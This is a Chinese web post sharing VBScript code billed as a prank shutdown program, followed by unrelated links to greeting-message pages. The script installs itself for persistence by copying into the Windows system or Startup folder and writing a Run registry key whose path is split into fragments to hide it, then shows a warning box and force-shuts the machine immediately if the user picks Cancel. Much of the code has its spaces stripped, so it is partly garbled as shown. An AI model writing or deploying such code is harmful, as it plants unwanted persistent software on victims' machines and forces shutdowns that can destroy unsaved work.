vb下的恶搞关机程序
额，不多介绍了，能看懂的就拿走，看不懂的拿走也没用。
Dimfs,dirwin,c,Wll,str,strr,r
Setfs=CreateObject("Scripting.FileSystemObject")
Setdirwin=fs.GetSpecialFolder(1)
SetWll=WScript.CreateObject("WScript.Shell")
Setc=fs.GetFile(WScript.ScriptFullName)
str="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if(fs.FileExists(dirwin&"\wxb.vbs"))Then
callShow_And_Do("reg")
elseif(fs.FileExists("C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup\wxb.vbs"))Then
callShow_And_Do("Startup")
else
OnErrorResumeNext
strr=""
Wll.RegWritestr,"C:\WINDOWS\system32\wxb.vbs","REG_SZ"
strr=Wll.Regread(str)
ifstrr=""then
c.Copy("C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin&"\wxb.vbs")
endif
endif
subShow_And_Do(s)
dimf
r=MsgBox("警告：请不要随便动我的电脑!"&Chr(13)&Chr(10)&"确定－>下次一定会先征求同意的"&Chr(10)&"取消－>爱咋滴咋地，我才不管他嘞!",4145,"MsgBoxExample")
Ifr=1Then
ifs="Startup"then
setf=fs.GetFile("C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup\wxb.vbs")
f.Delete()
elseifs="reg"then
Wll.RegDeletestr
setf=fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
endif
Else
wll.run"Shutdown.exe-s-f-t0"
EndIf
endsub
好了，代码分享给大家了，不要随便拿去搞破坏！
热门推荐
10 餐厅虎年贺卡祝福语简短
11 小升初送给儿子祝福语简短
12 儿童励志寄语简短祝福语
13 祝福语男性朋友简短大方
14 女孩生日祝福语简短的话
15 雷州人结婚祝福语简短
16 虎年孩子说简短祝福语
17 送女孩的简短祝福语
18 酒仙网红包祝福语简短